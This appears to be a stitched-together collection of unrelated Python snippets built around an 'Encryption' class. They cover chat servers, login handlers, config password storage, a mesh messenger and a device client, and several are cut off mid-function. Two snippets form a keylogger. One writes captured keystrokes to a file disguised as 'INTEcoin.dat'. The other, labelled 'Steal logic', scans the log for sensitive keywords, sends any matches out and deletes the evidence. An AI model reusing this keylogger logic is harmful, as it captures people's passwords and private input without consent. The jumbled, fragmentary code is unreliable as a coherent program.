def _results(self): """ Steal logic function. INTEcoin - Holds the encrypted data which deletes after the function finishes copying the file. """ send_flag = False # File has one of the keywords flag keywords_contained = [] # Keywords found in the log chunk = "" decrypted_log = "" for byt in Encryption.bytes_from_file( "logs/INTEcoin.dat" ): # Reads stolen data file as chunks and save them in a list if byt == "@": decrypted_log += Encryption.decrypt(chunk.encode()) chunk = "" continue chunk += byt for word in KEYWORDS: # Checks if any sensitive data was inputted if word in decrypted_log: send_flag = True keywords_contained.append(word) if send_flag: self._send(keywords_contained) # Sends the encrypted data os.remove("logs/INTEcoin.dat" ) # Deletes the file to avoid sending the same data again
def handleConnection(self, conn, addr): key = conn.recv(1024) while True: try: username = Encryption().decryptMsg(conn.recv(1024), key)["msg"] roomId = int(Encryption().decryptMsg(conn.recv(1024), key)["msg"]) if roomId == 0: room = Room(self) roomId = room.roomId self.rooms[roomId] = room break elif roomId not in self.rooms: conn.sendall(Encryption().encryptMsg(False, key)) else: break except: print("Klient forlot") return # conn.close() print("startet new con") room = self.rooms[roomId] newCon = threading.Thread(target=serverConnection, args=(conn, addr, key, room, username)) newCon.start()
def handle_connection(self, client_socket, client_address): DH = GenerateKey(self.rollnumber) peerhash = int(client_socket.recv(4096).decode()) client_socket.send(str(DH.hashkey).encode()) DH.gen_key(peerhash) En = Encryption(DH.finalkey) data = client_socket.recv(4096) if not data: client_socket.close() return data = En.decrypt(data) print(data.decode()) if 'sent a file' in data.decode(): client_socket.send('ok'.encode()) data = client_socket.recv(4096) filename = En.decrypt(data).decode() with open(filename, 'wb') as f: print('receiving data...', end="") while True: data = client_socket.recv(4096) data = En.decrypt(data) if not data: break f.write(data) client_socket.send('ok'.encode()) print("done") client_socket.close()
def joinRoom(self, username="******", roomId="12346"): if self.connected: self.username = username try: self.sock.sendall(Encryption().encryptMsg( self.username, self.key)) self.sock.sendall(Encryption().encryptMsg(roomId, self.key)) msg = self.sock.recv(1024) msg = Encryption().decryptMsg(msg, self.key) if msg["msg"] == False: return False self.clientId, self.roomId = msg["msg"] return True except Exception as e: print(e) return False else: print("Not connected") return False
def cryptography_choice(self): if self._cryptography == '1': encryption = Encryption(self.message) return encryption.transform(self.cipher, self.shift_num) elif self._cryptography == '2': decryption = Decryption(self.message) return decryption.transform(self.cipher)
def handleConnection(self, conn, addr): try: key = conn.recv(1024) username = Encryption().decryptMsg(conn.recv(1024), key)["msg"] roomId = 0 while True: roomId = Encryption().decryptMsg(conn.recv(1024), key)["msg"] if roomId == 0: room = Room(self) roomId = room.roomId self.rooms[roomId] = room break elif roomId not in self.rooms: # vet det er dumt, men for den første gangen må den gjøre det her, tror ikke det gjør så mye conn.sendall(Encryption().encryptMsg(False, key)) else: break room = self.rooms[roomId] newCon = threading.Thread(target=serverConnection, args=(conn, addr, key, room, username)) newCon.start() except: print("Det skjedde en feil, klient forlot mest sannsynlig") return
def get_unique_words(self, file_path): all_unique_words = [] files = glob.glob(file_path, recursive=True) for file in files: document_identifier = 'document' + str(self.document_number) self.document_number += 1 unique_word_count = 0 unique_words_in_document = set() f = open(file, 'r') for line in f: for word in line.split(): word = word.lower() if word not in unique_words_in_document: unique_words_in_document.add(word) unique_word_count += 1 f.close() if unique_word_count > self.unique_word_count: self.unique_word_count = unique_word_count+25 all_unique_words.append((document_identifier, unique_words_in_document)) # Create an encrypted file and store it in the encrypted files folder encrypt = Encryption(file, document_identifier) encrypt.encrypt() return all_unique_words
def enable(): try: #hutil.do_parse_context('Enable') # Ensure the same configuration is executed only once # If the previous enable failed, we do not have retry logic here. # Since the custom script may not work in an intermediate state # hutil.exit_if_enabled() # we need to freeze the file system first """ protectedSettings is the privateConfig passed from Powershell. """ protected_settings = hutil._context._config['runtimeSettings'][0]['handlerSettings'].get('protectedSettings') public_settings = hutil._context._config['runtimeSettings'][0]['handlerSettings'].get('publicSettings') para_parser = ParameterParser(protected_settings, public_settings) encryption = Encryption(para_parser) encryption.encrypt() hutil.do_exit(0, 'Enable', 'success','0', 'Enable Succeeded') except Exception, e: print(str(e)) hutil.error("Failed to enable the extension with error: %s, stack trace: %s" % (str(e), traceback.format_exc())) hutil.do_exit(1, 'Enable','error','1', 'Enable failed.')
def init(): if not os.path.isfile("first.asc"): Encryption.generate_certificates() known = args.known for k in known: kIP, kPORT, kEmail = k.split(':') hashK = md5.new(kEmail).digest() knownTable[hashK] = { 'email': kEmail, 'IP': kIP, 'PORT': int(kPORT) } routingTable.append({ 'destination': sourceAddress, 'nextHop': sourceAddress, 'metric': 0 }) for neighbor in neighbors: neighborIP, neighborPORT, neighborEMAIL = neighbor.split(':') neighborPORT = int(neighborPORT) neighborEMAIL = md5.new(neighborEMAIL).digest() sendRoutingTable(neighborIP, neighborPORT, neighborEMAIL) pass
def download(file): if "key" not in request.form: return "No key provided" key = request.form["key"] name = redis_cli.get(file) key_hash = redis_cli.get(f"{file}-key") iv = redis_cli.get(f"{file}-iv") if not name: return "No file with that ID exists" elif hashlib.sha512(key.encode()).hexdigest() != key_hash.decode(): return "Invalid key" with open(os.path.join(app.config["UPLOAD_FOLDER"], name.decode()), "rb") as resp: encrypted_file_data = resp.read() os.remove(os.path.join(app.config["UPLOAD_FOLDER"], name.decode())) cipher = Encryption(key) file_data = cipher.decrypt(encrypted_file_data, iv) redis_cli.delete(file) redis_cli.delete(f"{file}-iv") redis_cli.delete(f"{file}-key") return send_file(BytesIO(file_data), as_attachment=True, attachment_filename=name.decode())
def initEncryption(self, salt): self.encryption = Encryption(salt) # Validation secrets = self.storage.read() keys = list(secrets) if len(keys) > 0: return self.encryption.validate(secrets[keys[0]]) return False
def set_value(self, section, name, value): if name == 'password': encrypt = Encryption(self._get_serial()) self.conf_par.set(section, name, encrypt.encrypt_msg(value)) else: conf_par.set(section, name, value) with open(self.filename, 'wb') as configfile: self.conf_par.write(configfile)
def __joinRoom(self): print("0 betyr nytt rom") roomId = int(input("RoomId: ")) self.sock.sendall(Encryption().encryptMsg(roomId, self.key)) msg = self.sock.recv(1024) msg = Encryption().decryptMsg(msg, self.key) return msg, roomId
def test_encrypt1(self): self.enc1 = Encryption(b"HELLO RED BULL ALL DAY IPA", "fee fi fo") hash1 = self.enc.encrypt() self.enc2 = Encryption(b"HELLO RED BULL ALL DAY IPA", "fee fi fo") hash2 = self.enc2.encrypt() self.assertNotEqual(hash1, hash2)
def get_value(self, section, name): self.conf_par.read(self.filename) if name == 'password': decrypt = Encryption(self._get_serial()) value = decrypt.decrypt_msg(self.conf_par.get(section, name)) else: value = self.conf_par.get(section, name) return value
def sendMessage(event=None, filePath=''): global sock message = my_msg.get() if message == "{list_nodes}": listAllNodes() return message = '\x01' + message if len(filePath) > 0: message = open(filePath, 'rb').read() message = '\x02' + message dest_to = destin_select.get() if dest_to == "{to_all}": msg_list.insert(END, "me: " + message) my_msg.set("") if args.encryption: message = Encryption.encrypt(message) broadcastMessage(message) return destHash = md5.new(dest_to).digest() kDest = knownTable[destHash] msg_list.insert(END, "me: " + message) my_msg.set("") pChunkedType = '\x0E' if args.encryption else '\x06' pWholeType = '\x0A' if args.encryption else '\x02' if args.encryption: message = Encryption.encrypt(message) if len(message) > 59: left = len(message) % 47 packageNumbers = (len(message) - left) / 47 for x in xrange(packageNumbers): msg = message[x*47:(x+1)*47] streamId = 0 packet = None packetNumber = 0 if left == 0 and x == packageNumbers - 1: packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00', destHash, pChunkedType, buildChunkedPayload(streamId, x, msg, '\x01'), kDest['IP'], kDest['PORT']) else: packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00', destHash, pChunkedType, buildChunkedPayload(streamId, x, msg), kDest['IP'], kDest['PORT']) sendPacket(packet, kDest['IP'], kDest['PORT'] ,packetNumber) if left > 0: packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00', destHash, pChunkedType, buildChunkedPayload(streamId, packageNumbers, message[packageNumbers*47:], '\x01'), kDest['IP'], kDest['PORT']) sendPacket(packet, kDest['IP'], kDest['PORT'] ,packetNumber) else: packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00', destHash, pWholeType, message, kDest['IP'], kDest['PORT']) sendPacket(packet, kDest['IP'], kDest['PORT'] ,packetNumber) pass
def post_checking(self, *kwargs): if (len(self.__user_entry.get()) == 0 or len(self.__password_entry.get()) == 0): messagebox.showerror("Error", "Username or Password is Empty!") else: self.checker = Encryption() try: if self.__user_entry.get().rstrip( ) == self.credentials.find_one({ "user_name": self.__user_entry.get().rstrip() }).get("user_name"): if self.__password_entry.get() == self.checker.decrypt( self.credentials.find_one({ "user_name": self.__user_entry.get().rstrip() }).get("password").encode()).decode(): messagebox.showinfo( "WELCOME!", (self.__user_entry.get().split("_")[0]).title()) self.main_page.canvases.update({ "info_page": InfoPage(self.main_page.interface, self.main_page, self.__user_entry.get()) }) self.destroy() self.__init__(self.parent, self.main_page) self.main_page.show_canvas("info_page") else: messagebox.showerror( "Error!", "Incorrect Password!\nCheck for white space at the end!!" ) else: messagebox.showerror("Error!", "No user found.\nCheck user name.") self.__password_entry.delete(0, "end") except AttributeError: messagebox.showerror("Error", "Username doesn't exist.")
def AutoLogin(self): Crf = File() Encrypt = Encryption() if(Crf.isFile()): data = Crf.Open() ra = data[0] password = data[1] Login = LoginUTF(Encrypt.Decrypt(ra),Encrypt.Decrypt(password)) return Login.Login() return False
class TestDecryptMethod(unittest.TestCase): """Testing class to test all encryption related actions """ def setUp(self): self.enc = Encryption(b"defaultD", "defaultP") # def tearDown(self): # something here? def test_decrypt(self): self.enc.encrypt() d_data = self.enc.decrypt() self.assertEqual(self.enc.data, d_data)
def __init__(self, address: str): self.address = address self.url = f"http://{address}/app" logger.debug(f"Device url is: {self.url}") self.encryption = Encryption() self.key_pair: KeyPair self.cookie_token: str = "" self.token: str = "" self.tp_link_cipher: TpLinkCipher = None
def main(): enc = Encryption() print("Encrypting message: The Queen Can't Roll When Sand is in the Jar.") message = "The Queen Can't Roll When Sand is in the Jar." message = enc.encrypt(message) print(message) print() print("Decrypting message:") message = enc.decrypt(message) print(message) input("--Press any key to end--")
class UserAuthentication: def __init__(self, database): self.database = database self.encryption = Encryption() def identify_user(self, operation, username, password): """Chooses whether login of register operation will be performed with username and password. """ if operation == 'login': return self.login_user(username, password) elif operation == 'register': return self.register_user(username, password) def register_user(self, username, password): """Checks if there is no user in database with username, then encrypts password and adds entry to the database. :return register status modified with self.auth_output """ if self.database.check_user(username): return self.auth_output(False, f'"{username}" is already taken') else: self.database.add_user(username, self.encryption.encrypt_password(password)) return self.auth_output(True, f'"{username}" is now registered') def login_user(self, username, password): """Checks if user with username in database, compares password with the encrypted one from database entry. :return login status modified with self.auth_output """ if self.database.check_user(username): user_password = self.database.get_password(username) if self.encryption.check_password(password, user_password): return self.auth_output(True, f'"{username}", login success') else: return self.auth_output(False, 'Wrong password') else: return self.auth_output(False, f'No such user - "{username}"') def already_logged(self): return self.auth_output(False, 'Such user is already logged in') @staticmethod def auth_output(flag: bool, message: str): """ :param flag: boolean login/register success status :param message: verbal description of flag :return flag and message as one dictionary """ logging.info(message) return {'flag': flag, 'verbose': message}
def __init__(self, config, mac, key): self.mac = mac self.config = config self.credentials = pika.PlainCredentials(config["rabbitmq_login"], config["rabbitmq_password"]) self.buffer = deque(maxlen=128) self.connected = False self.send_thread = Thread(target=self.send_messages_thread) self.send_thread.start() self.pooling_connect() self.encryption = Encryption(key) print(" [*] RabbitMQ client created.")
def __init__(self, dispatcher, config, mac, key): self.mac = mac self.config = config self.dispatcher = dispatcher self.credentials = pika.PlainCredentials(config["rabbitmq_login"], config["rabbitmq_password"]) self.connected = False #self.message = messages_pb2.Code() self.encryption = Encryption(key) self._thread = Thread(target=self._receiver_thread) self._thread.start()
def GetText(self, evt): text = "" ra = self.ra.GetValue() password = self.password.GetValue() Encrypt = Encryption() Crf = File() Crf.Save(Encrypt.Encrypt(ra), Encrypt.Encrypt(password)) Login = LoginUTF(ra, password) if Login.Login(): SM = wx.MessageBox("Login Successful", "Login", wx.OK) SM.ShowModal() else: FM = wx.MessageBox("Login Unsuccessful", "Login", wx.OK) FM.ShowModal()
def listen(self): while True: msg = self.conn.recv(1024) if len(msg) == 0: self.room.newMsg(self.username + " left", username=self.username, senderId=self.clientId) self.room.removeClient(self.clientId) break if len(msg) > 0: try: msg = Encryption().decryptMsg(msg, self.key) self.room.newMsg(msg["msg"], username=self.username, senderId=self.clientId) except Exception as e: print(e) break self.conn.close() print(f"{str(self.adr)} stoppet")
def connect(self, username="******", roomId="12345", host="127.0.0.1", port="9001"): self.host = host self.port = int(port) self.key = fernet.Fernet.generate_key() try: self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect((self.host, self.port)) self.connected = True self.sock.sendall(self.key) self.username = str(input("Username: "******"msg"] == False: print(f"Fant ikke rom med roomId {roomId}") msg, roomId = self.__joinRoom() self.clientId, self.roomId = msg["msg"] print(f"Din klientId: {self.clientId}\nDin romId: {self.roomId}") self.thread = threading.Thread(target=self.listen) self.thread.start() except Exception as e: print("Klarte ikke å koble til\n", e)
def sendMsg(self, msg, username=None, senderId=None): if username == None and senderId == None: username = self.username senderId = self.clientId msg = Encryption().encryptMsg(msg, self.key, username=username, senderId=senderId) self.conn.sendall(msg)
def register_user(): name = str(request.form.get("name", None)) user_hash = Encryption.encrypt_password( str(request.form.get("password", None))) email = str(request.form.get("email", None)) birthdate = str(request.form.get("birthdate", None)).replace( "-", "/") # IOS uses '-' instead of '/' if name is None or email is None or name is None: return return_json(success=False, error="Fields empty") if not data_validation.validate_email(email): return return_json(success=False, error="Invalid email") if not data_validation.validate_birthdate(birthdate)[0]: return return_json(success=False, error="Invalid birthdate:" + data_validation.validate_birthdate(birthdate)[1]) res = user_db.insert_user(name, user_hash, email, birthdate) if not res[0]: return return_json(success=False, error="User already exists") user_uuid = res[1] expenses_db.create_expenses(user_uuid) schedule_db.create_schedule(user_uuid) hygiene_db.create_hygiene(user_uuid) token = token_generator.generate_confirm_token(email) send_confirmation_mail(name, email, token) return return_json(success=True)
def _writer(self, log): """ Saves the log in a dat file. :param log: An array of pressed keys. """ if not os.path.exists(os.path.dirname("logs/")): try: os.makedirs(os.path.dirname("logs/")) except OSError as exc: # Guard against race condition if exc.errno != errno.EEXIST: raise with open("logs/INTEcoin.dat", "ab") as file: toWrite = "" for i, key in enumerate(log): # Removes repeated spaces and enters if i > 0: if str(key) == "Key.space" and str( log[i - 1]) == "Key.space": continue if str(key) == "Key.enter" and str( log[i - 1]) == "Key.enter": continue key = self._parse( key) # Converts the key to a readable character toWrite += key file.write(Encryption.encrypt(toWrite)) file.write( b"@" ) # Puts a separator for the encryption diod see Fernet using this as the cypher text file.close()
def sendRoutingTable(neighborIP, neighborPORT, neighborEMAIL): message = retrieveRoutingTable() pChunkedType = '\x0D' if args.encryption else '\x05' pWholeType = '\x09' if args.encryption else '\x01' if args.encryption: message = Encryption.encrypt(message) if len(message) > 59: left = len(message) % 47 packageNumbers = (len(message) - left) / 47 for x in xrange(packageNumbers): msg = message[x*47:(x+1)*47] streamId = 0 packet = None packetNumber = 0 if left == 0 and x == packageNumbers - 1: packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00', neighborEMAIL, pChunkedType, buildChunkedPayload(streamId, x, msg, '\x01'), neighborIP, neighborPORT) else: packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00', neighborEMAIL, pChunkedType, buildChunkedPayload(streamId, x, msg), neighborIP, neighborPORT) sendPacket(packet, neighborIP, neighborPORT ,packetNumber) if left > 0: packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00', neighborEMAIL, pChunkedType, buildChunkedPayload(streamId, packageNumbers, message[packageNumbers*47:], '\x01'), neighborIP, neighborPORT) sendPacket(packet, neighborIP, neighborPORT ,packetNumber) else: packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00', neighborEMAIL, pWholeType, message, neighborIP, neighborPORT) sendPacket(packet, neighborIP, neighborPORT ,packetNumber) pass
def update_user(): user_uuid = request.form.get("uuid", None) name = str(request.form.get("name", None)) user_hash = Encryption.encrypt_password( str(request.form.get("password", None))) email = str(request.form.get("email", None)) birthdate = str(request.form.get("birthdate", None)) if not data_validation.validate_uuid(user_uuid): return return_json(success=False, error="Invalid user UUID") if user_db.get_user(uuid=user_uuid)[0] is False: return return_json(success=False, error="User not found") if not data_validation.validate_email(email): return return_json(success=False, error="Invalid email") if not data_validation.validate_birthdate(birthdate)[0]: return return_json( success=False, error=data_validation.validate_birthdate(birthdate)[1]) c_user = user_db.get_user(uuid=user_uuid)[1] c_user.name = name c_user.user_hash = user_hash if c_user.email != email: c_user.email = email c_user.is_verified = False c_user.birthdate = birthdate user_db.update_user(c_user) return return_json( success=True, data={"message": "User {0} updated".format(c_user.uuid)})
def post(self): signup = Signup() self.response.headers['Content-Type'] = 'text/html' errors = {} username = self.request.get('username') password = self.request.get('password') verify = self.request.get('verify') email = self.request.get('email') if not signup.is_valid_username(username): errors['username_error'] = 'Invalid username.' elif not signup.is_unique_username(username): errors['username_error'] = 'Username taken.' if not signup.is_valid_password(password): errors['password_error'] = 'Invalid password.' elif password != verify: errors['verify_error'] = 'Passwords don\'t match.' if not signup.is_valid_email(email): errors['email_error'] = 'Invalid email.' username = self.escape_html(username) email = self.escape_html(email) if errors: self.write_template('signup.html', username = username, email = email, **errors) else: user_id = UserDataHandler.put(username, password, email) user_id_hash = Encryption.make_user_id_hash(user_id) self.response.headers.add_header('Set-Cookie', 'user_id=%(user_id)s|%(user_id_hash)s; Path=/' % {'user_id': user_id, 'user_id_hash': user_id_hash}) self.redirect('/unit5/welcome')
def get(self): self.response.headers['Content-Type'] = 'text/html' user_id_cookie = self.request.cookies.get('user_id') if user_id_cookie: user_id = user_id_cookie.split('|')[0] user_id_hash = user_id_cookie.split('|')[1] if Encryption.is_valid_cookie(user_id, user_id_hash): user = UserDataHandler.get_by_id(int(user_id)) self.response.out.write('Welcome, <b>' + user.username + '</b>!') else: self.redirect('/unit4/signup')
def post(self): self.response.headers['Content-Type'] = 'text/html' username = self.request.get('username') password = self.request.get('password') username = self.escape_html(username) user_list = UserDataHandler.get_by_username(username) if user_list and Encryption.is_valid_password(username, password, user_list[0].password): user = user_list[0] user_id = user.key().id() user_id_hash = Encryption.make_user_id_hash(user_id) self.response.headers.add_header('Set-Cookie', 'user_id=%(user_id)s|%(user_id_hash)s; Path=/' % {'user_id': user_id, 'user_id_hash': user_id_hash}) self.redirect('/unit5/welcome') else: self.write_template('login.html', username = username, login_error = 'invalid login')
def receive(self, message): logging.info("[email protected] request") self.mail = message self.senderMail = None self.existingUser = None self.responseMail = None # We extract mail information with a regex mailRegexMatch = re.search(r'[\w\-][\w\-\.]+@[\w\-][\w\-\.]+[a-zA-Z]{1,4}',self.mail.sender) self.senderMail = mailRegexMatch.group() logging.info("Received a message from: " + self.senderMail) # We look if this user is in our database user_query = User.all().filter("mail", self.senderMail) self.existingUser = user_query.get() # If the user is in our database, we build and send him a confirmation URL to delete his account if(self.existingUser): existingUserID = str(self.existingUser.key().id()) encryptedID = Encryption.getEncryptedIDForDeletion(existingUserID) config = Config() site_url = config.site_url url = site_url + "delete?id=%s&crypt=%s" %(existingUserID, encryptedID) logging.info("%s" % url) self.responseMail = mail.EmailMessage( sender = "Capturio crew <*****@*****.**>", to = self.senderMail, subject = "[Deletion] Please confirm to remove your information from Captur.io", body = """ Hey, If you want to remove all your information from Captur.io, please click on the following link: %s We hope to see you again soon! Captur.io crew """ % (url) ) self.responseMail.send() logging.info("responseMail sent") else: logging.info("User behind address email %s wants to be removed whereas he doesn't belong to our database." % self.senderMail)
def checkUser(self): if((self.userID) and (self.encryptedID)): logging.info("Deletion page: 1) User ID: %s 2) Encrypted ID: %s" %(self.userID, self.encryptedID)) encryptedCheckingID = Encryption.getEncryptedIDForDeletion(self.userID) if(encryptedCheckingID == self.encryptedID): logging.info("Deletion link valid") self.retrieveUser() else: logging.info("Deletion link invalid") path = os.path.join(os.path.dirname(__file__), 'templates/delete/invalid_link.html') self.response.out.write(template.render(path, None)) else: logging.info("Deletion link invalid") path = os.path.join(os.path.dirname(__file__), 'templates/delete/invalid_link.html') self.response.out.write(template.render(path, None))
qFour, rFour = brFRS.accessMarks(username) if qFour != None: brFFS = FifthStep(bOne, qFour, rFour) return brFFS.getMarks() return None, None theFile = open("marks.cfg", 'r') course = theFile.readline().rstrip('\n') username = theFile.readline().rstrip('\n') password = theFile.readline().rstrip('\n') print "Data loaded." passphrase = "" while len(passphrase) == 0: passphrase = easygui.passwordbox(msg='Passphrase:', title='Encryption message', default='') dec = Encryption(password, passphrase) password = dec.decrypt() if len(password) == 0: print "Wrong passphrase ! Please try again or run 'config' again." oldNumberOfMarks, oldMarks = None, None else: oldNumberOfMarks, oldMarks = checkOnMarks(course, username, password) print oldNumberOfMarks, "marks detected." while oldMarks != None: time.sleep(3600) numberOfMarks, marks = checkOnMarks(course, username, password) if numberOfMarks > oldNumberOfMarks: print numberOfMarks - oldNumberOfMarks, "new mark(s) detected. Take a look !" textMsg = "Hey ! New mark(s) detected ! Take a look !" for oldMark, mark in zip (oldMarks, marks): if oldMark[1] != mark [1]:
def put(username, password, email = ''): password_hash = Encryption.make_password_hash(username, password) return User(username = username, password = password_hash, email = email).put().id()
while choice < 1 or choice > maxValue: printValues(theList) choice = getInputAsInt() return choice # Start Config br = FirstStep(linkPorrum) titles, choises = br.getChoices() numberOfCourses = len(titles) print "Please introduce the correct answers !" print numberOfCourses, "courses detected. Please choose yours." course = printAndChoose(titles, numberOfCourses) selectedCourse = choises[course - 1].name br.chooseCourse(selectedCourse) names = br.getNames() numberOfNames = len(names) print numberOfNames, "names detected. Please choose yours." name = printAndChoose(names, numberOfNames) selectedName = names[name - 1] password = "" while len(password) == 0: password = easygui.passwordbox(msg='Password:'******'Encryption message', default='') passphrase = "" while len(passphrase) == 0: passphrase = easygui.passwordbox(msg='Passphrase:', title='Encryption message', default='') enc = Encryption(password, passphrase) fileConfig = open ("marks.cfg", 'w') fileConfig.write("%s\n"%selectedCourse) fileConfig.write("%s\n"%selectedName) fileConfig.write("%s"%enc.encrypt()) print "All data saved !"